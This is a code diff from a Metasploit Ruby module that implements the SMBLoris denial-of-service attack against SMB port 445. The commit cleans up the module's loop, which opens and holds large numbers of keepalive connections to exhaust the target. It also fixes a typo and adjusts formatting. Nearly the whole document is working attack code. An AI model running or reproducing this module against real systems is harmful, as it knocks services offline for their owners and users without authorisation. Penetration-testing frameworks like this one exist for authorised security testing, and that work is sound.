@@ -22,23 +22,23 @@ class NbssHeader < BinData::Record
22
22
grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
23
23
and Zach Harding.
24
24
25
- DISCALIMER : This module opens a lot of simultaneous connections. Please check
25
+ DISCLAIMER : This module opens a lot of simultaneous connections. Please check
26
26
your system's ULIMIT to make sure it can handle it. This module will also run
27
27
continuously until stopped.
28
28
} ,
29
29
authors : [
30
- 'thelightcosine' ,
31
- 'Adam Cammack <adam_cammack[at]rapid7.com>'
30
+ 'thelightcosine' ,
31
+ 'Adam Cammack <adam_cammack[at]rapid7.com>'
32
32
] ,
33
33
date : '2017-06-29' ,
34
34
references : [
35
35
{ type : 'url' , ref : 'https://web.archive.org/web/20170804072329/https://smbloris.com/' } ,
36
- { type : 'aka' , ref : 'SMBLoris' }
36
+ { type : 'aka' , ref : 'SMBLoris' }
37
37
] ,
38
38
type : 'dos' ,
39
39
options : {
40
- rhost : { type : 'address' , description : 'The target address' , required : true , default : nil } ,
41
- rport : { type : 'port' , description : 'SMB port on the target' , required : true , default : 445 } ,
40
+ rhost : { type : 'address' , description : 'The target address' , required : true , default : nil } ,
41
+ rport : { type : 'port' , description : 'SMB port on the target' , required : true , default : 445 }
42
42
}
43
43
}
44
44
@@ -55,39 +55,35 @@ def run(args)
55
55
56
56
Metasploit . logging_prefix = "#{ target . inspect_sockaddr } - "
57
57
58
- while true do
59
- begin
60
- sockets . delete_if do |s |
61
- s . closed?
62
- end
58
+ loop do
59
+ sockets . delete_if ( &:closed? )
63
60
64
- nsock = target . connect ( timeout : 360 )
65
- nsock . setsockopt ( Socket ::SOL_SOCKET , Socket ::SO_KEEPALIVE , true )
66
- nsock . setsockopt ( Socket ::Option . int ( :INET , :TCP , :KEEPCNT , 5 ) )
67
- nsock . setsockopt ( Socket ::Option . int ( :INET , :TCP , :KEEPINTVL , 10 ) )
68
- nsock . setsockopt ( Socket ::Option . linger ( true , 60 ) )
69
- nsock . write ( header . to_binary_s )
70
- sockets << nsock
61
+ nsock = target . connect ( timeout : 360 )
62
+ nsock . setsockopt ( Socket ::SOL_SOCKET , Socket ::SO_KEEPALIVE , true )
63
+ nsock . setsockopt ( Socket ::Option . int ( :INET , :TCP , :KEEPCNT , 5 ) )
64
+ nsock . setsockopt ( Socket ::Option . int ( :INET , :TCP , :KEEPINTVL , 10 ) )
65
+ nsock . setsockopt ( Socket ::Option . linger ( true , 60 ) )
66
+ nsock . write ( header . to_binary_s )
67
+ sockets << nsock
71
68
72
- n_loops += 1
73
- if last_reported != sockets . length
74
- if n_loops % 100 == 0
75
- last_reported = sockets . length
76
- Metasploit . log "#{ sockets . length } socket(s) open" , level : 'info'
77
- end
78
- elsif n_loops % 1000 == 0
79
- Metasploit . log "Holding steady at #{ sockets . length } socket(s) open" , level : 'info'
69
+ n_loops += 1
70
+ if last_reported != sockets . length
71
+ if n_loops % 100 == 0
72
+ last_reported = sockets . length
73
+ Metasploit . log "#{ sockets . length } socket(s) open" , level : 'info'
80
74
end
81
- rescue Interrupt
82
- break
83
- sockets . each &:close
84
- rescue Errno ::EMFILE
85
- Metasploit . log "At open socket limit with #{ sockets . length } sockets open. Try increasing your system limits." , level : 'warning' unless warned
86
- warned = true
87
- sockets . slice ( 0 ) . close
88
- rescue Exception => e
89
- Metasploit . log "Exception sending packet: #{ e . message } " , level : 'error'
75
+ elsif n_loops % 1000 == 0
76
+ Metasploit . log "Holding steady at #{ sockets . length } socket(s) open" , level : 'info'
90
77
end
78
+ rescue Interrupt
79
+ sockets . each ( &:close )
80
+ break
81
+ rescue Errno ::EMFILE
82
+ Metasploit . log "At open socket limit with #{ sockets . length } sockets open. Try increasing your system limits." , level : 'warning' unless warned
83
+ warned = true
84
+ sockets . slice ( 0 ) . close
85
+ rescue StandardError => e
86
+ Metasploit . log "Exception sending packet: #{ e . message } " , level : 'error'
91
87
end
92
88
end
93
89
0 commit comments